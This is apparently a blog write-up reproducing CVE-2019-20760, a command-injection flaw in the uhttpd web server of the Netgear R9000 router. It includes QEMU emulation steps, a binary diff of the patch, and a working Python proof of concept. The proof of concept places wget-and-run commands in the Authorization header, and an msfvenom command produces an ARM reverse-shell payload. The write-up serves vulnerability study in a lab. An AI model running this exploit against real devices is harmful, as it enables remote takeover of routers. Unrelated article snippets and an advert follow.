Netgear无线路由器漏洞复现(CVE-2019-20760)

漏洞概述

漏洞服务: uhttpd

漏洞类型: 远程命令执行

影响范围: 1.0.4.26之前的NETGEAR R9000设备会受到身份验证绕过的影响

解决建议: 更新版本

漏洞复现

操作环境: ubuntu:22.04

qemu-version: 8.1.1

仿真环境

wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip

下载固件。

 binwalk -Mer R9000-V1.0.4.26.img 

image-20231006204853421

可通过 binwalk 常规解压获得文件系统。

image-20231006213813263

检查 ELF32 文件架构为 arm-32-little

wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2
wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress
wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress

下载合适的虚拟机映像。

#!/bin/sh
# 参考《CTF实战》by ChaMd5
# 'ens33': The NIC is that can connect internet
#sudo ifconfig eth0 down                 # 首先关闭宿主机网卡接口
sudo brctl addbr br0                     # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33               # 在 br0 中添加一个接口
sudo brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up   # 启用网卡接口
sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0                      # 查看虚拟网桥列表
sudo brctl showstp br0                   # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
sudo brctl showstp br0

image-20231006215529022

配置网络。

#!/bin/sh
qemu-system-arm \-M vexpress-a9 \-kernel vmlinuz-3.2.0-4-vexpress \-initrd initrd.img-3.2.0-4-vexpress \-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \-append "root=/dev/mmcblk0p2 console=ttyAMA0" \-net nic -net tap,ifname=tap0,script=no,downscript=no \-nographic
-M              			# 选择开发板​
-m							# 指定内存大小
-drive         			    # 定义存储驱动器​
file=         			    # 定义镜像文件​
-net nic       			    # 创建客户机网卡​
-net tap                    # 创建 tap 设备,以桥接方式跟宿主机通信​
ifname=virtual0             # tap 设备与名为 virtual0 的虚拟网卡进行桥接通信​
-nographic                  # 以非图形化模式启动​
-append        			    # 内核启动附加参数​
-console=ttyAMA0		    # console指向串口,有此启动参数,内核启动日志才能输出到宿主机终端
-nographic					# 不再启用额外的终端界面

image-20231006220307746

image-20231006220609818

启动 qemu-system-armhf 环境,默认用户名密码都为 root

ifconfig eth0 192.168.152.168/24

image-20231006220912835

qemu-system-armhf 配置静态 IP

tar -cvf squashfs-root.tar.gz squashfs-root/
python3 -m http.server

image-20231006221335309

image-20231006221428854

将文件根系统打包,然后利用 python3http.server 模块下载到 qemu-system-armhf 的根目录中并用 tar xvf squashfs-root.tar.gz 解压。

cd /squashfs-root
mount --bind /proc proc # proc目录是一个虚拟文件系统,可以为linux用户空间和内核空间提供交互
mount --bind /dev dev   # /dev/下的设备是通过创建设备节点生成的,用户通过此设备节点来访问内核里的驱动
chroot . sh

image-20231006222713410

因为 chroot 会导致无法在隔离的文件系统中访问原本的 /proc/dev 目录,这里利用 mount 命令将 qemu-system-armhfprocdev 目录挂在到 squashfs-root 中,并更换根目录为 squashfs-root

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

Web模拟

find -name uhttpd
cat ./etc/init.d/uhttpd
# ./etc/init.d/uhttpd
...
start() {#config_load uhttpd#config_foreach start_instance uhttpd#mkdir /tmp/www#cp -rf /usr/www/* /tmp/www/www/cgi-bin/uhttpd.sh startinetddetplc#for bug58012touch /tmp/fwcheck_status
}
...

查找 uhttpd 的相关文件。

#!/bin/shREALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"uhttpd_stop()
{kill -9 $(pidof uhttpd)
}uhttpd_start()
{$UHTTPD_BIN -h /www -r ${REALM}  -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}case "$1" instop)uhttpd_stop;;start)uhttpd_start;;restart)uhttpd_stopuhttpd_start;;*)logger -- "usage: $0 start|stop|restart";;
esac

image-20231006223655990

查看 start() 函数中利用的 /www/cgi-bin/uhttpd.sh 脚本。发现启动命令为 $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 其中 REALM = R9000UHTTPD_BIN = /usr/sbin/uhttpd。我们无需开启 https,所以启动命令为 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80

逆向分析

wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip

获取修复版本的固件。因为源码较为繁杂,我们通过 Bindiff 进行二进制比对,来查找漏洞点。

image-20231006231411605

shift+D 选取修复版本的 /usr/sbin/uhttpd 文件即可,主要查看登录验证的 uh_cgi_auth_check() 函数。

  memset(s, 0, 0x1000u);v14 = strlen(v13);uh_b64decode(s, 0xFFF, v13 + 6, v14 - 6);v15 = strchr(s, ':');if ( !v15 ){
LABEL_32:v16 = 0;v17 = 0;goto LABEL_15;}v16 = v15 + 1;*v15 = 0;if ( v15 != (char *)0xFFFFFFFF ){snprintf(command, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v15 + 1);system(command);v3 = cat_file(73805);}v17 = s

漏洞版本 base64 解密后 snprintf() 后直接传给 system() 执行,这里会把 v15(:)后面的内容放到 %s 处,记得加\n来执行多条指令。

  memset(s, 0, 0x1000u);v15 = strlen(v14);uh_b64decode(s, 4095, v14 + 6, v15 - 6);v16 = strchr(s, 58);if ( !v16 ){
LABEL_15:v17 = 0;v18 = 0;goto LABEL_16;}v17 = v16 + 1;*v16 = 0;if ( v16 != (char *)-1 ){v18 = s;dni_system("/tmp/hash_result", 0, 0, "/usr/sbin/hash-data", "-e", v17, 0);v19 = cat_file("/tmp/hash_result");goto LABEL_17;}

而修复版本则利用 dni_system() 执行,只可控参数。

获取权限

poc:

#!/usr/bin/python3from pwn import *
import requests
import base64cmd  = 'admin:'
cmd += '`'
cmd += 'wget http://192.168.152.167:8000/shell.elf\n'
cmd += 'chmod 777 ./shell.elf\n'
cmd += './shell.elf\n'
cmd += '`'assert(len(cmd) < 255)cmd_b64 = base64.b64encode(cmd.encode()).decode()headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Encoding": "gzip, deflate","Connection": "keep-alive","Upgrade-Insecure-Requests": "1","Authorization": "Basic " + cmd_b64
}def attack():try:requests.get("http://192.168.152.168/cgi-bin/", headers=headers, timeout=3)except Exception as e:print(e)attack()
msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf

利用 msf 生成对应架构的木马程序,然后在shell.elf所在的目录开启http服务,利用漏洞将木马程序下载下来。

image-20231006233741185

启动监听,并执行 exp.py

image-20231006234357194

成功获取 shell,我们利用获取的权限在 www 目录创建 flag.txt 文件然后访问它。

image-20231006234709504

成功创建。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/12068.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql8.0常用语法

文章目录 开窗函数字段拆分递归关联查询 开窗函数 开窗函数 &#xff0c;可以按组查询排列数据&#xff0c;且给每一行值都返回指定的聚合值&#xff0c;语法如下&#xff1a; 开窗函数 over([PARTITION BY 分组字段(多个用,链接)] [ORDER BY 排序字段(同前)])开窗函数分为两…

【JVM】从三种认知角度重识JVM

目录 JVM概述 JVM主要功能 虚拟机是Java平台无关的保障 JVM概述 JVM&#xff1a;Java Virtual Machine,也就是Java虚拟机。 虚拟机&#xff1a;通过软件模拟的具有完整硬件系统功能的、运行在一个完全隔离环境中的计算机系统&#xff08;物理上不存在&#xff09;。 JVM通…

聊聊ChatGPT:智能语言模型背后的原理

目录 1. ChatGPT的基础&#xff1a;GPT模型 2. 预训练与微调&#xff1a;让模型更加智能 2.1 预训练 2.2 微调 3. 多样化的应用场景 4. 未来的展望 5. 结语 在当今的人工智能领域&#xff0c;OpenAI的ChatGPT无疑是一个炙手可热的话题。它不仅能流畅地进行对话&#xff…

一键批量合并视频:掌握视频剪辑技巧解析,轻松创作完美影片

在数字时代的浪潮下&#xff0c;视频已成为人们记录和分享生活的重要工具。然而&#xff0c;对于许多非专业视频编辑者来说&#xff0c;将多个视频片段合并成一个完整的影片却是一项复杂且耗时的任务。幸运的是&#xff0c;云炫AI智剪一键批量合并视频功能的出现&#xff0c;让…

ICode国际青少年编程竞赛- Python-5级训练场-综合练习5

ICode国际青少年编程竞赛- Python-5级训练场-综合练习5 1、 a 16 for i in range(6):Dev.step(1)Dev.turnLeft()Dev.step(a)Dev.step(-a)Dev.turnRight()while Dev.energy < 100:wait()Dev.step(1)a a - 5 i2、 for i in range(5):Dev.step(11 - i * 2)Dev.turnRight()wh…

【算法】登山(线性DP,最长上升)

题目 五一到了&#xff0c;ACM队组织大家去登山观光&#xff0c;队员们发现山上一共有N个景点&#xff0c;并且决定按照顺序来浏览这些景点&#xff0c;即每次所浏览景点的编号都要大于前一个浏览景点的编号。 同时队员们还有另一个登山习惯&#xff0c;就是不连续浏览海拔相同…

人工智能中的概率魔法:解锁不确定性的智慧之钥

在人工智能&#xff08;AI&#xff09;的广阔天地中&#xff0c;概率论以其独特的魅力&#xff0c;成为了连接现实世界与智能决策的桥梁。从语音识别到图像识别&#xff0c;从自然语言处理到机器翻译&#xff0c;从智能推荐到自动驾驶&#xff0c;概率论知识在这些领域中发挥着…

高低温试验箱型号怎么选择?多禾试验带你一起探索

高低温试验箱在工业和科学研究当中扮演着至关重要的角色。无论是在电子、汽车、医疗器械还是航空航天领域&#xff0c;都需要对产品在不同温度条件下的性能进行测试。然而&#xff0c;在进行选择适合自己需求的高低温试验箱型号时&#xff0c;面对市场上琳琅满目的设备&#xf…

给定两点所能得到的数学关系

给定两点所能得到的数学关系 正文 正文 这里介绍一个基础问题&#xff0c;如果给定平面上的两个点的坐标&#xff0c;那么它们之间能够得到什么数学关系呢&#xff1f; ω arctan ⁡ y 1 − y 0 x 1 − x 0 x 1 − x 0 d cos ⁡ ω y 1 − y 0 d cos ⁡ ω d ( x 1 − x…

js中变量提升的那点事

变量提升是一个将变量声明或者函数声明提升到作用域起始处的过程&#xff0c;即变量声明 var 和函数声明 function fun() {…} 在会发生变量提升过程。 先来说变量声明var,看代码 console.log(test) // undefined var test"testStr" console.log(test) // testStr看…

你想知道74系列有多少种芯片吗?全在这里了

74系列芯片功能大全 7400 TTL 2输入端四与非门7401 TTL 集电极开路2输入端四与非门7402 TTL 2输入端四或非门7403 TTL 集电极开路2输入端四与非门7404 TTL 六反相器7405 TTL 集电极开路六反相器7406 TTL 集电极开路六反相高压驱动器7407 TTL 集电极开路六正相高压驱动器7408 T…

GIT基础01 基础命令与分支

前言 我们知道git是开发中比较常见的版本控制工具 我们可以先提出一个场景: 老板让你去修改方案 第一次修改 打回 第二次修改 打回 第n次修改 老板让你使用第一次的版本 阁下如何应对??? 我对每个版本进行编号?? 是一种方案 但是这里也是有缺陷的 比如说在很多版本中找…

测试驱动来学习 Promise

基础功能 测试案例&#xff1a;以同步的方式调用。 /*** v1: 基础功能*/ const p1 new MyPromise((resolve, reject) > {resolve(success)reject(error) })p1.then((value) > {console.log(v1: , value) }) 实现功能&#xff1a;在 status 和 value 的位置暂存值&…

什么是MVC?什么是SpringMVC?什么是三层架构?

文章目录 应用分层什么是MVC?什么是 SpringMVC&#xff1f;三层架构三层架构和MVC的关系 应用分层 在讲解什么是MVC之前&#xff0c;先来理解一下什么是应用分层。 应用分层是一种软件开发设计思想&#xff0c;将应用程序划分成N个层次&#xff0c;每个层次都分别负责自己的…

StarryCoding 入门教育赛 3 题解C++

比赛链接&#xff1a;https://www.starrycoding.com/contest/8 A. 坐标变换 语法题&#xff0c;考察输入输出、循环结构、数学运算。 #include <bits/stdc.h> using namespace std; using ll long long;const ll p 998244353; const int N 2e5 9;void solve() {in…

鸿蒙应用开发之调用C++开发代码库1

由于鸿蒙应用主要基于ArkTS开发,主要使用的语言是ETS,也就是JS脚本方式来开发,这与C++语言开发是不同的语言,这样就不能直接相互调用,因为不同的语言使用不同的数据结构,不同的调用方式,不同的运行环境。要想在ETS语言里调用C++开发的代码,需要进行合适的转换,并且按指…

Java学习【类与对象—封装】

Java学习【类与对象—封装】 封装的概念封装的实现包的概念import 导包导包中*的介绍import static 导入包中的静态方法和字段 static关键字的使用static 修饰成员变量static修饰方法静态成员变量的初始化 代码块静态代码块非静态代码块/实例化代码块/构造代码块加载顺序 封装的…

什么是外呼系统?企业为什么使用ai电销外呼系统

说起ai电销外呼系统&#xff0c;或许有的人并不了解这是什么&#xff0c;但它却常常出现在我们的生活中&#xff0c;今天我们来看看什么是外呼系统&#xff0c;企业为什么使用ai电销外呼系统&#xff1f; 一、什么是外呼系统 外呼系统就是由系统自动拨打电话的&#xff0c;外呼…

单例模式(饿汉+懒汉)

单例模式 文章目录 单例模式定义饿汉式单例**饿汉式单例需要加volatile关键字吗**类加载过程 懒汉式单列 定义 单例模式(Singleton),保证一个类仅有一个实例&#xff0c;并提供一个访问它的全局访问点 饿汉式单例 饿汉式单例是Java中实现单例模式的一种方式&#xff0c;它在类…

HTML常见标签-标题标签

标题标签 标题标签一般用于在页面上定义一些标题性的内容,如新闻标题,文章标题等,有h1到h6六级标题 代码 <body><h1>一级标题</h1><h2>二级标题</h2><h3>三级标题</h3><h4>四级标题</h4><h5>五级标题</h5>…